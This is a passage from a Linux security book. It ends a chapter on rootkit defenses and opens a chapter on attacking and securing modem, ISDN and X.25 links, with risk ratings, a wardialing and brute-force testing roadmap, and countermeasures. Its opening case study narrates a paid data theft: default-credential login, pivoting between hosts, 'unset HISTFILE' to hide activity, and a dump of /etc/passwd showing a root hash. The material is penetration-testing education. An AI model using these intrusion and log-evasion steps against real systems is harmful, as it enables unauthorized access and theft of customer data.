be useful against a rootkit. The key area here is that the software should implement its own kernel module and should access all data through its own module and from a physical perspective, when possible.
Rootkit Defenses As with prevention for any kind of attack, the first and best line of defense against rootkits is a fully patched box. This will filter out most of the low-hanging fruit frequently exploited by script-kiddie attackers. Next, significant kernel mode rootkit protection is already built into a fully patched 2.6 Linux kernel. There are, of course, rootkits that will operate in a 2.6 environment, but most of the legacy rootkits that operated on the 2.4 kernel are not compatible with the changes and security enhancements made in the 2.6 kernel. So, keeping the kernel up-todate is an integral part of rootkit prevention and security compromises, in general. Another huge factor in preventing rootkits, especially kernel mode rootkits, is to follow the advice in Chapter 4. Eliminate—or restrict as much as possible—anything that can be used to alter, debug, or reverse engineer a system or its applications. This makes installing a rootkit very difficult, especially since numerous prerequisites would first have to be installed.
Chapter 5:
Data Networks Security
Also, implement appropriate network access controls, configure chrooting, and restrict any viable service. This will go a long way toward preventing compromises. A final tool in protecting against rootkits, and in identifying them, is to use a file integrity checker on a regular, scheduled basis. If a file integrity checker is running against a system regularly, preferably with its database backed up in a separate location, it can act as an early warning sign that something on a system has happened or is in the process of happening.
SUMMARY This chapter has covered a wide variety of topics pertaining to COMMSEC that can be used to increase the ability to monitor, secure, and remediate a network and its hosts. It has provided a robust defense-in-depth strategy that can be implemented in whole, or in part, in various stages and at various times. Many of the items covered provide security not by adding some additional tool or utility, but by creating a sound and well-planned architecture from the start that provides least access. This chapter has shown that the principle of least access is vital to any security architecture, measure, or methodology. We’ve attempted to show clearly the inseparable link between PHYSEC and COMMSEC. Truly robust COMMSEC is impossible without having similarly robust PHYSEC, and vice versa. Finally, we covered some useful incident response and forensic techniques that you can use to respond to, and recover from, various types of compromises. If followed, these techniques can improve the quality of response, increase the speed of recovery, and ensure that systems can be brought back online with confidence.
121
This page intentionally left blank
6 l a n o i t n e v n s o c r n o U t c e V k c a t t A a t a D
CASE STUDY That satellite pay-TV system was a big target for Enrique. His new client was offering a large sum of money. To get it, all Enrique had to do was to hack into the company’s administrative servers and collect all their customer records. However, after following the standard information gathering steps, he started wondering if he made a good choice accepting this job. The target company had a full C class on the Internet, which seemed to be 70 percent populated. Although firewalls were running on OpenBSD, he found that most of the web servers were running on FreeBSD, which meant he couldn’t use Internet Information Server exploits or Linux 0-day code. The satellite company’s ISP was a tough one as well, with no default or known in-thewild accounts. It was a castle, very well protected from the external world. He would have to find some unconventional attack vectors. He started to think out-of-the-box, imagining himself as one of the IT developers or managers. What was the company’s core-business? To sell movies via satellite. Through the Internet, customers were only allowed to sign up for a monthly or yearly based subscription. He played with the web applications, but the code was well written— no SQL injections, XSS, or other cracks in the walls. But to view the movies, customers needed a Set Top Box (STB). Enrique considered the STB. How did it communicate with the company? He browsed through the help and how-to files on the website and discovered that the STB communicated with the satellite company via a telephone line. Every time you wanted to buy a movie, the STB made a call to the company servers. He imagined the data flow: The user requests a movie; the STB performs a modem call; the company servers bill the customer and then deliver the movie. He called his client and asked for an STB. The STB he got had many connectors: a SCART connector that was linked to the TV, a 9-pin serial port, RCA and S-VHS outputs, and an RJ-11 telephone jack. The manual explained that the user must connect the box to the home telephone line. Enrique made the connection and ordered a movie. After the movie was delivered to his STB, he browsed through his phone billing via the phone company’s online utility and found a confirmation: a 2€ phone call to the number 00-33-1-4545.1219. • 00 was for calling Spain. • 33 was the country code for France. • 1 was the area code for Paris. So 4545.1219 was the phone number he wanted. From the telephone on his desk, he called the number from one of his external lines. Bingo, a modem answered. He fired up Minicom and called the number again. After the handshake, he got no prompts or login requests. Probably, the remote system was waiting for a string sent by the STB itself. This wouldn’t get him what he needed. But it got him closer. He got the ward tool from Raptor—the lighter PSTN scan tool he had—and performed a very fast PSTN scan, configuring it to scan +33-1-4545.12xx. He found live modems on
124
17, 18, 19, and then on 25 and 50. Calling each one, he just found the same garbage generated from the 19 extension. He fired up ward again, this time scanning for +33-1-4545.1xxx. This time the answer was better: 1000, 1010, 1050, 1999. Calling the first result with Minicom, he connected to a Cisco box asking for a password: He tried to guess the password, including the satellite company name and words such as movies, subscription, paris, Paris, and so on…but nothing. The same happened with 1010 and 1050: different banners, but the same result. His last try was 1999. The remote system answered with CONNECT 9600/ARQ/V34/LAPM/V42BIS ____________________________________________________________ TeleSat Communications Systems WARNING: This is a private network Every abuse is strongly discouraged. billing-gw-BE __________________________________________________ User Access Verification Username: subscriber Password: Billing-gw-BE>
After a few tries, Enrique entered subscriber/subscriber, and he was in the system. He performed a quick show arp on the Cisco, in order to see which hosts the box was talking to: Billing-gw-BE> sh arp Protocol Address Internet 10.44.2.12 Internet 195.65.122.2 Internet 195.60.131.2 […] Billing-gw-BE>
He then decided to call what seemed to be one of the most recent routed internal hosts: Billing-gw-BE>10.44.2.12 Trying 10.44.2.12 ... Open HP-UX billing-gw B.10.20 A 9000/840 (ttyp1) login: oracle Password:
125
Please wait...checking for disk quotas $ who 12:10pm up 10 days, 15:53, 1 user, load average: 0.03, 0.04, 0.04 User tty login@ idle JCPU PCPU what oracle ttyp1 07:10pm w $ unset HISTFILE $ cat /etc/passwd root:4ABicoYzK3PLM:0:3::/:/sbin/sh daemon:*:1:5::/:/sbin/sh bin:*:2:2::/usr/bin:/sbin/sh sys:*:3:3::/: […]
At this point, he checked /etc/hosts and noticed a nice entry: ############################## IP to X.25 10.44.2.250 x25linux # X.25 linux box for CC payments
He decided to call that Linux box: $ telnet 10.44.2.250 Trying... Connected to 10.44.2.250. Escape character is '^]'. Local flow control on Telnet TERMINAL-SPEED option ON Debian GNU/Linux 2.2 x25linux ttyp1 X25linux login:
Enrique had successfully hacked the Linux box, and from the internal configuration files, he had been able to get the machine’s X.25 address. This gave him a comfortable avenue to use to hack into the satellite company via the X.25 link. Continuing, he shortly had full access to the customer records. He arranged for the data to be delievered to his client, and his client arranged for the large sum of money to be delivered to him.
126
Chapter 6:
Unconventional Data Attack Vectors
W
ithin the scope of a penetration test, companies often make a common mistake when trying to correctly identify and select the attack vectors related to communications. The primary mistake is to see the Internet attack vector as “the devil,” focusing all the company’s effort and proactive security budget on this communication media while forgetting about the “old school” attack vectors. Historically, attackers taught us that wardialing is the hacking technique for dealing with remote modem access. This is still true but only the tip of the iceberg when dealing with unusual attack vectors. Computer security history—especially when related to the hacking of corporate networks—is incredibly full of true tales of high-level attacks that let the attackers gain access to the deepest secrets of the involved companies. When reading books such as Underground: Tales of Hacking, Madness and Obsession on the Electronic Frontier by Suelette Dreyfus, Masters of Deception: The Gang That Ruled Cyberspace by Michelle Stalalla and Joshua Quinttner, or even an evergreen like The Cuckoo’s Egg by Clifford Stoll, you realize that the hacking carried out by the intruders described in these books always used one or more unconventional attack vectors. By analyzing these attacks in depth, you can discover the “gold keyword”: old communication networks, aside from the Internet, that connect the companies to the world. That’s why this chapter focuses on the so-called old-school attack techniques, identifying and analyzing the three main attack vectors: • PSTN • ISDN • PSDN The selection of the above-mentioned attack vectors comes from both history and experience. Before the Internet boom, telephone lines and X.25 links were the only way companies and governments could communicate with each other via corporate networks. Even today, the world is still full of “forgotten” links of this kind, rarely monitored and rarely security-tested. From our experience, when customers who have never tested these attack vectors request a penetration test, you will likely find one or more security holes and be able to obtain full access to the internal LAN or WAN of the target company. This chapter introduces the challenges of auditing and securing these old-school attack vectors with a dedicated and uncommon focus for Linux users and outlines the steps to secure an organization’s PSTN-, ISDN-, and PSDN-linked infrastructures.
OVERVIEW OF PSTN, ISDN, AND PSDN ATTACK VECTORS One particular approach we learned in the past, at the very beginning of our security experiences, consisted of closing our physical eyes and trying to “see” the target with the true eyes of a penetration tester, with the tester’s embedded fantasy, curiosity, and creativity. Our target then became an ancient castle, with its usual bridge-over-the-river and tower guards ready to throw boiling oil on the heads of the attackers.
127
128
Hacking Exposed Linux: Linux Security Secrets & Solutions
On the other side, warriors and soldiers learned (let’s say created!) the concept of a Trojan Horse, built higher attack stairs, and protected themselves from the boiling oil being poured down on them. History always repeats itself…attackers, defenders, weapons, usual and unusual war strategies, unconventional attack vectors. We know this and can recall many aspects of the everyday development of the Information Security (IS) market…but our physical eyes are now closed (let’s use the socalled out-of-the-box approach) and we now see things in a different way: Why should we attack the castle via the main bridge? Is it really the most exposed link to the external world, to what’s outside the castle itself? And vice-versa, isn’t it the attack path that most exposes us? Just like xIDS, guards are on the towers, controlling the perimeter and looking for anomalies…. That’s why we keep on looking for information related to our target, searching for more links to the external world—previously built and then forgotten bridges, emergency exits, and access doors for trusted external suppliers. In the real world, in the world of penetration testers, those forgotten access paths became (often) forgotten attack vectors, so we then adopted a slower, old-school approach and investigated around them, looking for exclusive access to the castle core. After more than 20 years of experience in testing the security of IT systems, we can definitely say that a company’s RAS, toll-free dialup for agents and roadrunners, ISDN access points to mainframes given to external suppliers, those old X.25 links, as well as a company’s PBX, require accurate security testing to prevent intruders from getting access to the most confidential data.
Introducing PSTN PSTN stands for Public Switched Telephone Network—the analog telephone network. The concept of analog has changed in past years, even in the PSTN environment, with the advent of Intelligent Networks (INs) and facilities such as toll-free phone numbers and the other value-added services (VAS). From the perspective of penetration testers, PSTN is beneficial. Most companies have some sort of PSTN active link that is often ready to answer modem calls (wardialing, from an attacker’s point of view). These include • “Generic” RAS dialups • IT management RAS dialups • Mainframe RAS dialups • Roadrunners and sale-agents RAS dialups • The CEO’s (and her daughter’s) exclusive RAS dialups • External suppliers • Alarms These “phone links” could represent attack paths—uncontrolled channels for accessing a company’s internal network.
Chapter 6:
Unconventional Data Attack Vectors
Introducing ISDN ISDN stands for Integrated Services Digital Network, meaning a public network composed of digital telephony and data-transport services; these services are offered by regional telephone carriers. The main difference between PSTN and ISDN involves the totally digital approach to the telephone network, which allows voice, data, text, graphics, music, video, and other source material to be transmitted over the already existing telephone wires. ISDN applications include high-speed image applications (e.g., the well-known Group IV facsimile), additional telephone lines in homes to serve the telecommunication industry, high-speed file transfer, and videoconferencing. From the penetration tester’s point of view, ISDN is pretty nice since it allows incredibly fast phone scanning (less than one second), in order to find which telephone numbers are active or not, avoiding having to wardial many phone numbers and then discovering that 50 percent of them are not active. Also, value-added services (VAS) such as toll-free numbers offer the penetration tester clues. To give you a very nice example, an 800 phone number (e.g., 800-123-4567) does not really exist in the telephone network; instead it’s an alias: Every 800 corresponds to a real phone number, such as 212-123-4567, which is assigned a flag in the phone carrier’s database, specifying the phone number itself as a toll-free number to avoid billing the caller, and assigning the bill instead to the receiving party. This means that—depending on the toll-free number configuration and the number of PRI lines—you could obtain the real phone number and then scan around it in order to locate answering modems, like Enrique did in the story at the beginning of this chapter. The ISDN world offers two different types of services: • ISDN BRI Service ISDN Basic Rate Interface (BRI) Service is the ISDN wallplugged adapter in homes or small offices. This service offers two B channels and one D channel (2B+D). The BRI B-channel service operates at 64 kbps and is meant to carry user data; the BRI D-channel service operates at 16 kbps and is meant to carry control and signaling information, although it can support user data transmission under certain circumstances (X.25 over D-channel; see “RFC 1356—Multiprotocol Interconnect on X.25 and ISDN in the Packet Mode”). The D-channel signaling protocol comprises Layers 1 through 3 of the OSI reference model. BRI also provides for framing control and other overhead, bringing its total bit rate to 192 kbps. The BRI physical layer specification is the International Telecommunication Union-Telecommunications Standards Section (ITU-T) I.430 (the ITU was formerly the Consultative Committee for International Telegraph and Telephone [CCITT]). • ISDN PRI Service ISDN Primary Rate Interface (PRI) Service offers 23 B channels and 1 D channel in North America and Japan, yielding a total bit rate of 1.544 Mbps (the PRI-D channel runs at 64 kbps). In Europe, Australia, and other countries, ISDN PRI provides 30 B channels plus 1 (or 2) 64-kbps
129
130
Hacking Exposed Linux: Linux Security Secrets & Solutions
D channel, with a total interface rate of 2.048 Mbps (a 2-Mbits line). The PRI physical layer specification is ITU-T I.431. In the corporate world, ISDN is mainly used for two focused and specific assets: • PBXs ISDN PRI lines are generally connected to the company’s PBX in order to manage the incoming and outgoing voice communications easily. • Backup ISDN lines When referring to backup ISDN lines, we mean ISDN BRI lines, usually connected to Cisco boxes and properly configured to set up an ISDN data connection to the ISP, should the main Internet link fail. In this last case, the penetration tester can discover previously unknown ISDN-related information by examining the ISDN configuration and logs of the Cisco box itself.
Introducing PSDN and X.25 The PSDN or Public Switched Data Network uses traditional, analog telephone lines to transmit data packets. Although it can be used to describe other systems, we’re using it to refer to X.25 networks that communicate via normal telephone lines. In the 1970s the TLC market wanted a set of protocols to provide companies with wide area network (WAN) connectivity across public data networks (PDNs). The result of this development effort—led by a United Nations agency called the International Telecommunications Union or ITU—was a group of protocols, the most popular being X.25. The International Telecommunication Union-Telecommunication Standards Sector (ITU-T) (formerly CCITT) is the ITU committee responsible for voice and data communications. ITU-T members include the FCC, the European Postal Telephone and Telegraph organizations, the common carriers, and many computer and data communication companies. As a direct result, X.25 was developed by the common carriers (the telephone companies acting as a monopoly, essentially, since most of them were ITU members) rather than by any single commercial enterprise. The specification is, therefore, designed to work well regardless of a user’s system type or manufacturer. As a result, X.25 is truly a global standard. X.25 networks are often erroneously seen as “old, retired networks.” However, in the past decade, these “dead” networks were the victims of an incredible number of highlevel attacks launched toward finance systems, multinationals, telcos, civil and military aeronautical networks, and governmental infrastructures. In fact, hackers use X.25 networks to attack computer systems around the world. Usually, this is a side effect of the security approach used by corporate companies—especially telcos—where they invest a lot of money in the security on the TCP/IP connection side but neglect their X.25 access points. Major corporations are still linked to X.25 networks, for instance, Alcatel, Digital (now Compaq), KPMG, E&Y, and so on. Moreover, X.25 networks are widely used (as they exploded much later) in Africa, the Middle East, and Central Asia, resulting in government and military computer systems being linked to these networks. Many Internet users seem to view X.25 networks as mysterious. They view X.25 networks as an alien invention used only by telecommunications carriers to achieve
Chapter 6:
Unconventional Data Attack Vectors
international connectivity. Another common mistake is to think that X.25 networks aren’t used anymore; this is completely wrong! X.25 technology has been used to construct the most pervasive data network—the global public data network formed by the PTTs connects at least 95 different countries. Internet administrators may assume that tracing attackers across an X.25 network is almost impossible. The descriptions given in Clifford Stoll’s book, The Cuckoo’s Egg, reinforce this impression. In a chapter of the book the author describes the process of contacting Ron Vivier at Telenet/SprintNet, who then contacts Steve White, and so on, back to Hannover in Germany. In reality, tracing attacks across an X.25 network is as easy (or as difficult) as on a TCP/IP network. This quick overview ends with a mention of the Société Internationale de Télécommunications Aéronautiques (SITA), established in 1949 (http://www.sita.aero). SITA is a worldwide company that manages flight connections for many airlines. In airports all over the world, you’ll find computer terminals with SITA logon banners. SITA has its own X.25 network and decided to “share” the network, forcing the first three digits of the Network User Address (NUA) to become the identifiers for the country. Remember that it is not just the global public data network that uses X.25; many private and corporate networks also use X.25. Some of the techniques described here are equally applicable to private networks. Dealing with attacks that take place across an X.25 network requires the ability to • Monitor the traffic • Check the system logs • Identify the origin and target of calls The last section of this chapter will explain the key differences between TCP/IP and X.25 security testing, including a technical overview of the PSDN ITU standard protocols.
COMMUNICATION NETWORK ATTACKS The first attack made against your communications network will most likely be a wardialing attack. In a wardialing attack, the attacker will dial telephone numbers and listen for the unmistakable answer of a computer. Nothing can stop a patient and determined attacker from eventually discovering a telephone number connected to your network. Your best defense is to properly secure all the lines that connect to your network. Once an active connection has been found through wardialing, the attacker will attempt to collect information about the system using banner-grabbing techniques and then proceed through all the common login/password attacks.
131
132
Hacking Exposed Linux: Linux Security Secrets & Solutions
Generic RAS Numbers Popularity:
8
Simplicity:
8
Impact: Risk Rating:
10 9
Generic RAS numbers are for “general purposes.” Commonly, companies forget about them because these telephone lines are included in the monthly contract costs for “Support and Help Desk.” In most other cases, companies simply don’t know about these active phone lines because they are connected to extremely old machines or are the result of an ancient network architecture drawn by somebody else. Usually the original system administrators left many years ago. The following has happened to us so many times when trying to collect modemPSTN information: The CTO on duty isn’t able to give us any kind of useful data related to this proposed attack vector for the penetration test. A common answer usually goes along these lines, “Uh, yeah, I think we used to have something like that...But I’m not so sure I could collect this information for you guys...You know, we established those modem lines ten years ago, and the guy managing all of that doesn’t work here anymore.... I’ll try to do my best...By the way, I don’t think somebody will ever attack us from PSTN, c’mon, we are in 2008....the Internet would be the attack media.” Some weeks later, just after the sales guys have been able to include the PSTN attack vector in the legal authorization forms and have them signed, our team will usually find a couple of “forgotten” modem links...bingo! In these cases, the “security level”—the robustness of accounts and passwords since most attack techniques involve login brute forcing and social engineering—might be extremely low, providing the penetration tester—or the attacker—with very easy access to the target company’s internal network.
Generic RAS Countermeasures Always maintain an updated, detailed map of the phone lines that connect to your physical or virtual assets (including X.25 addresses). Just as anyone responsible for physical security would be required to know the location of every entrance into the “brick and mortar” company, those responsible for information security should know all the channels through which information will enter or leave the company. Security policies should also require that employees be familiar with common socialengineering techniques and emphasize that usernames and passwords are privileged and confidential information.
Chapter 6:
Unconventional Data Attack Vectors
IT Management RAS Dialups Popularity:
8
Simplicity:
8
Impact: Risk Rating:
10 9
IT management RAS doesn’t mean “all the dialups present only in the IT server room.” Rather, it means those RAS lines used by IT to remotely manage the IT services during emergencies, on weekends, and so on, independent of the physical location of the machines connected to the modems. Often, these dialups exist due to necessity and specific internal processes (incident handling and patch planning). In other cases, the IT staff will pretend to require a remote PSTN access when only their ego requires it. We have heard sentences like “I must be able to access what I am responsible for—even if I’m not a hands-on technical figure!” so many times. This is the—let’s say, classic—justification used by many IT managers when their role in the agency is to decide, not to configure systems remotely. So, let’s say this kind of RAS dialup will be used both by staff in the field and by the IT chiefs for various reasons. The penetration tester should know that the RAS will assign the remote caller an IP belonging to a very specific internal IP subnet, usually allowed by the internal firewalls to reach anything on the internal company network. This happens for the above-mentioned reasons where the IT staff says they require full access to the company’s internal IT assets since “ya never know what could happen, and I gotta be allowed to reach every machine, since I don’t want to phone the guys managing the firewall rules on a Saturday night at 3 a.m.” (We heard this exact sentence when interviewing a customer’s referent about an upcoming penetration test.) When this sort of RAS dialup is encountered (very often, it could even be accessible via a dedicated toll-free number), an attacker will proceed with general information gathering strategies. Once the information has been collected and analyzed, the attacker will use various combinations of standard first names (for SMEs) and/or surnames from the IT department as possible logon/usernames, followed by a brute-force password attack specifically targeting the types of passwords used by IT staff (who, because they repeatedly enter username/password combinations, are often guilty of not following their own recommendations for password strength and security).
IT Management RAS Countermeasures Security policy should only allow individuals directly responsible for emergency management services to access IT management dialups and require that they be used only for emergency services—any routine services should be performed onsite. Managers not normally directly responsible for these activities should be willing to come to the site if the situation requires it.
133
134
Hacking Exposed Linux: Linux Security Secrets & Solutions
Security policy should also require obscure usernames and strong passwords. And any individual who does need access to an IT management dialup should follow the security policy regarding passwords.
Mainframe RAS Dialups Popularity:
5
Simplicity:
8
Impact: Risk Rating:
10 8
In this case, we do mean those dialups linked exclusively to the IT server room. These dialups show up where old phone pairs travel from the telco box “up on the wall,” or the PBX cabinet, to 2.400 or 9.600 bps modems connected to mainframe systems such as the IBM AS/400, DEC VMS, HP3000, and so on. Obviously, testing will start from the default accounts known for these OSs and then proceed to application names (even in local languages—don’t forget this hint!) and well-known local software application names— since worldwide only a few companies in the ’80s and ’90s were developing software for mainframe environments.
Mainframe RAS Countermeasures If dialups of this type are necessary for company operations, then ensure policies regarding obscure usernames and strong passwords are followed. Close any accounts using default or generic usernames or passwords. If possible, remove these types of dialups, or leave the attached modems inactive by default and activate them only upon specific request following the company’s procedures.
Roadrunners and Sale-Agents RAS Dialups Popularity:
8
Simplicity:
8
Impact:
5
Risk Rating:
7
Companies selling (or reselling) goods, no matter what their core business and market area, have either roadrunner or sale-agent RAS dialups—excluding, of course, those start-ups and Internet-only shops (where, by the way, you could find other types of dialups). Roadrunners are the offspring of last decade’s IT evolution: They use GSM, GPRS, EDGE, and UMTS phones for their mobile offices, as well as wireless access, and, of course, the company’s PSTN dialups. For this chapter, we are interested only in this last typology, the PSTN roadrunners.
Chapter 6:
Unconventional Data Attack Vectors
These guys and gals need to connect to a company’s LAN when staying at hotels or other locations where they do not have an Internet link, so they can access their company’s intranet or file server and perform other kinds of activities. Sales-agents are a little bit different. They prefer to send orders from their home or small local office, and they often work for more than one company (multi-agents) since their job is to visit buyers and sell stocks of goods, no matter what the goods are. They go to the buyer for a company and show the products they have to sell. These products could come from supplier A, B, or C. Consequently, they do not need to connect to the supplier company’s file server. They simply want to connect to the supplier’s mainframe, launch their web-based application, and send their orders quickly, so they receive their money at the end of the month, when billing and invoicing are processed by all of the suppliers they work for. They commonly make quick transactions and transmit only small amounts of data, although, if the suppliers communicate with them via email, they may be authorized to use the company’s mail server for email communications. In both cases, neither set of users are experienced. Roadrunners can be from marketing, management, sales, and so on, whereas sales-agents are often not directly employed by the company and use their personal PCs to conduct business. These categories of workers are “always on the run” and generally do not follow security policies and best practices. Consequently, the potential for very weak username/ password pairs is quite high.
Roadrunners and Sale-Agents RAS Countermeasures Limit these types of dialups whenever possible, and monitor activity on them for unusual patterns of data traffic. Individuals who require access to these dialups should be given obscure usernames, follow company policy regarding passwords, and be monitored for compliance.
The CEO (and Her Daughter) RAS Dialups Popularity:
5
Simplicity:
10
Impact:
10
Risk Rating:
8
Believe it or not, many CEOs among SMEs ask their IT department for a RAS dialup account. “I need to read my emails from home,” or “I don’t really understand why I can’t use our Internet connection instead of paying for an ISP”—these are the business justifications used. In some cases, CEOs aren’t even able to switch on a PC but their children will have fun accessing the Internet from the company RAS.
Exclusive Dialup Countermeasures Security policy should not allow these types of dialups.
135
136
Hacking Exposed Linux: Linux Security Secrets & Solutions
External Supplier Dialups Popularity:
5
Simplicity:
8
Impact:
5
Risk Rating:
6
External supplier dialups are one of the most common ways to penetrate the internal network of a target company. A typical computer room might have EMC2 storage cabinets, an IBM rack with PSTN modems on top, and so on. Among those companies where standards such as ISO27001 and local privacy laws are fully respected, the modems are usually switched off by default and activated only with a specific request from the external supplier (social engineering could definitely be applied here; these devices are commonly owned by the supplier itself and placed at the customer’s facilities). When dealing with SMEs, however, these procedures aren’t always respected—if they even have specific policies at all. An attack will begin with information-gathering sessions and then move on to bruteforcing the login request, using known default accounts, external supplier company names, and local subcontractors for the “big players.” A large international consultancy will often subcontract the management of recently installed machines to a small, local company that acts as a “local partner.” Attackers will find it much easier to obtain or to guess a small company’s access credentials than those from the large consultancy.
External Supplier Countermeasures Security policy should require that these modems be inactive by default. Verify—both internally and externally—supplier requests to activate these modems. Log any activation, and check the modems regularly to ensure they have been deactivated when no longer needed. In addition, physical security policies should be required, so unauthorized personnel can’t activate the modems. External suppliers should also follow company policy regarding usernames and passwords.
Alarm Dialups Popularity:
1
Simplicity:
3
Impact:
8
Risk Rating:
4
An attacker would just say that alarms are cool. This is because of the word itself: alarm, meaning emergency, unexpected damage, threat—meaning “Somebody will take care of this, and it won’t be me.” Many IT departments approach physical security issues related to “alarm” dialups in this way: better not change it.
Chapter 6:
Unconventional Data Attack Vectors
Alarms generally refer to elevators, physical security alarms (often connected to an outsourced private physical-security company, see above paragraph), fire alarms, CC/ TV systems, and so on. Devices are usually owned by customers, but the customers are not normally able to manage these assets: Patching and remote management is typically outsourced to the external supplier. The result is translated into an unsupervised attack path that definitely should be tried. This scenario lacks security best practices, and an experienced penetration tester should be able to gain access to the target company after just ten minutes of fun.
Alarm Countermeasures The security policies and procedures of companies that provide outsourced services should be carefully reviewed and—if possible—audited for compliance. Avoid connections between outsourced service equipment and internal networks whenever possible.
800 and Toll-Free Dialups Popularity:
10
Simplicity:
9
Impact:
4
Risk Rating:
8
In our opinion, toll-free numbers are more dangerous than standard “local” phone numbers. Given the logic of wardialing and the history of famous hackers and phone phreakers during the ‘80s and ‘90s, attackers prefer to start phone-scans that are free “by default.” Attackers can easily abuse the telephone network and avoid the billing (and revealing the origin) of their phone calls. Toll-free is toll-free. Among the various wardialing targets (toll-free, special numbers, local town, local area, local region, national, international/long-distance), toll-free numbers are the preferred targets for PSTN (and ISDN) scanning. Consequently, scanning and brute-force attacks can come from all kinds of attackers: inexperienced teens, script-kiddies, amateurs, black hats, or industrial spies. Toll-free dialup security testing should be the priority requirement when dealing with PSTN/ ISDN dialups in a planned penetration test where the customer wants you to secure the company’s phone communication media.
VAS Countermeasures If possible, security policies should not allow toll-free dialups. If these dialups are required for company operations, then the same security policies suggested for other dialup connections are required for any toll-free dialups. Make special effort to ensure that default accounts have been closed.
137
138
Hacking Exposed Linux: Linux Security Secrets & Solutions
Banner Grabbing Popularity:
10
Simplicity:
10
Impact:
2
Risk Rating:
7
A successful wardialing attack gathers information about the targeted system. The banners displayed when connecting to the answering modems can help attackers identify the OS connected to the PSTN, ISDN, or X.25 network. Information about the OS can help them identify default usernames and passwords. In many cases, an attacker finds a generic banner, but in some cases, he or she finds a specific banner, containing the company’s name, location, network/service name, or even node name. In other cases, banners might indicate the help desk phone number as well as a contact name in the IT department. Attackers can use all of this information to narrow the focus of any brute-force password/login attack.
Banner Grabbing Countermeasures Minimize the amount of information displayed when a modem connection is made. Authorized users should have access to other sources for information about IT help and services, and a successful username/password login should be sufficient to assure them that they have connected to the correct network.
Password/Login Attacks Popularity:
6
Simplicity:
4
Impact: Risk Rating:
10 7
In the past, attackers accomplished the main information-gathering phase regarding a target company by going to the Yellow Pages (printed editions!): A company’s PBX phone number, X.25, and Internet addresses could all be found there. When in the middle of this kind of attack, the information-gathering step is mandatory for the next phases of the security assessment. An attack is largely based on login brute-forcing; at the same time, close attention must be paid to account quality and password listings. Of course, when compared to the “old school” approach, Internet-based information gathering and competitive scouting sessions help quite a bit when looking for inspiration and related useful information and tips about your target. Please also refer to the OSSTMM, “Competitive Intelligence” section, to learn more about collecting detailed information related to a target company.
Chapter 6:
Unconventional Data Attack Vectors
When employing brute-force attacks, attackers organize account names and password lists by target-market sector (IT, finance, industry, press, chemical, government, military) and very focused “typologies”: most common passwords, most-used generic words, defaults only, first names only, surnames only, application names only, and so on.
Password/Login Countermeasures Your security policy should require obscure usernames and strong passwords and you should enforce compliance. Any information that identifies the owner of the network should be kept to a minimum.
TESTS TO PERFORM As previously stated, final penetration tests should be directed toward brute-forcing login requests or ID/password requests. Even if a penetration tester has experience with this kind of testing, we strongly suggest he or she refer to the latest OSSTMM for the full listing of modules and goals to reach during this testing phase. In this section, you will find a list of “suggested paths” to take to perform PSTN, ISDN, and PSDN security testing, respectively.
PSTN Before getting to the effective testing /attacking phases, you need to find out the effective targets you are looking for. You can accomplish this by using different automatic tools to scan for answering modems and then you can manually call each of them, trying to guess the operating system that the remote machine is running on, grabbing the banner, and guessing defaults and/or ID/passwords to be tested.
PSTN Testing Roadmap 1. Find the company’s PBX telephone number format, e.g., (212) 222-xxxx. 2. Scan the phone suffix range, e.g., (212) 222-2000 to (212) 222-9999, and save the answering modems. 3. Using your modem and a terminal emulator, manually call the answering modems. 4. Press enter a couple of times if you don’t get any data back from the answering modem; also try to change from 8N1 to E71 or another combination on your terminal program. 5. Identify the OS answering each modem call. 6. Look for defaults and known ID/passwords. 7. Perform brute-force attacks based on different dictionaries.
139
140
Hacking Exposed Linux: Linux Security Secrets & Solutions
ISDN While all the above applies to the ISDN world, you can also apply some specific tests when encountering ISDN-connected Cisco boxes. Whenever you find a Cisco router connected to the Internet, private IP networks, PSTN, ISDN, or X.25, the following specific commands (along with, of course, show config or show run and the always useful commands such as show ip route, show cdp neig, and so on) help you get a bigger picture of the ISDN: • show dial map • show isdn history In this way, you may be able to obtain the ISDN number for the machine you are testing, discover more hosts to which the machine is talking via ISDN, and so on.
PSDN Just as for ISDN, the suggestions listed in the “PSTN” section also apply to the PSDN environments. Returning to the Cisco example, when you discover it is also connected to an X.25 network, definitely try the following commands to obtain useful additional information: • show x25 map • show x25 route
PSDN Testing General Roadmap For X.25-specific testing, the penetration tester will find the following points helpful when trying to enumerate all the packet-switched network (X.25) connections and trying to gain access privileges to the PAD-enabled systems existing within the target organization: 1. Define if you are examining a private or a public X.25 network. 2. Find valid X.25 address(es), subscribed to or activated by the target company. 3. Define how many virtual channels (VCs) and permanent virtual channels (PVCs) the X.25 link(s) are using and how they are managed (CUG, subaddress mapping, CLID on the calling NUA, incoming X.25 call screening, etc.). 4. List system types and operating programs: • List of live systems directly connected to the X.25 network(s) and their operating system (COM answers only). • List of live systems found that are not directly connected to the X.25 network(s)—via CUG brute-force attacks, subaddress scanning, CLID on the calling NUA if X.25 spoofing attacks are applicable, and so on—and their operating status (NA/DTE/RPE answers).
Chapter 6:
Unconventional Data Attack Vectors
• List of those “bridge systems” that work as gateways from the X.25 to other kinds of networks (TCP/IP, DECnet, Novell) and their operating system. 5. Verify—in the case of bridges to the TCP/IP world—that firewalls and ACLs work properly. 6. List the purpose of the systems used in the company’s business. 7. List those applications using the X.25 media to communicate. 8. Describe the data flow of the X.25 connections relating to the company’s business purposes and privacy needs. 9. Verify compliance to national laws for any security banners found during testing. 10. Check if the X.25 link accepts reverse charge calls: this applies both to directly and indirectly connected hosts. 11. If reverse charges are accepted by the remote DTE, check if calling DTE (NUA or geographical areas/networks provenience) screening is applied on the reverse charge facility: This can depend on the enduser or the X.25 carrier configuration or the subscriber’s options. 12. Verify remote PSDN abuse traces (scanning activity from/to local or foreign networks) checking the last six months of X.25 bill details, as well as traces from the host X.25 logs (incoming and outgoing calls). 13. List system logins and passwords.
Dealing with Error Codes The following is a step-by-step roadmap to use when dealing with X.25 error codes: 1. Call the Network User Address (NUA) on the X.25 network from an X.25 or X.28 connection to your national X.25 carrier1 and get the results codes. As previously stated, the X.25 answer should be “call connected” or “COM” if the system connected to the X.25 network (and the DTE modem) is alive. 2. If the call isn’t successfully connected, you may find one of the following answer codes, as detailed in Section 4.3: • NP • NC You may encounter this problem when performing X.25 security testing from one continent to the other (e.g., from Europe to Africa, the Middle East, or Asia and from North America to South America) and if you are working on remote X.25 networks not well linked to the major X.25 international switches. 1
For X.25 data calls, please note that X.25 calls are usually charged by the national X.25 carrier; normally the X.25 operator may also ask for a yearly based contract to obtain a leased or dial-up X.25 public access.
141
142
Hacking Exposed Linux: Linux Security Secrets & Solutions
